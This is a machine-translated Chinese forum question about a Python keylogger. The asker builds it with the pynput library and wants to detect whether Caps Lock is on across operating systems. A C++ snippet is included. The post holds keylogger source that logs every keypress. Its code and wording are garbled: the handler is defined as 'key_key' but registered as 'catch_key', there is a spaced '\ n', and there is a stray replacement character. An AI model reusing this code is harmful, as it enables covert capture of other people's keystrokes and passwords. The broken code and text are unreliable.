键盘记录器:检测CAPS Lock钥匙状态

2024-09-26 22:09:31 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在用python创建一个用于测试的键盘记录器,我遇到了以下问题:

“我需要检查CAPS Lock是否处于活动状态,从而在用户密钥日志中生成此差异,但如何操作?”。在C++中,我知道我可以在ASCII中更改键,以将键转换为大写/小写:


//Ex.:

if (! isCapsON) {//
     appendKeyLog (key, hostName); // Caps by default when caps is not active
} else {
     appendKeyLog ((byte) (key + 32), hostName) // Uppercase char + 32 � lowercase in ascii
}

我想在用户键盘上模拟一个随机键,检查ASCII中的值,以检测CAPS键是否处于活动状态,然后设置isCaps = True / False。然而,我不知道如何才能做到这一点,在搜索时,我只是找到了使用subaccess和其他python lib检测linux的方法

注:我正在使用Debian Stretch,但我想支持任何操作系统(或最常用的操作系统)

目前,为了捕获密钥,我正在使用pynput库,如下所示:

import pynput
from pynput.keyboard import Key, Listener

def key_key (key):

     format_key = str (key) #Convert key to string

     if key == Key.enter:
         write_logs ("\ n")

     elif key == Key.esc:
         write_logs ("[Esc]")

     else:
         write_logs (format_key [2]) #Capture only the value between single quotation marks (generated value is u '[keypress]')

#Initialize Keylogger
with Listener (on_press = catch_key) as listen:
     listen.join ()

Tags: key用户importifisascii密钥caps

热门问题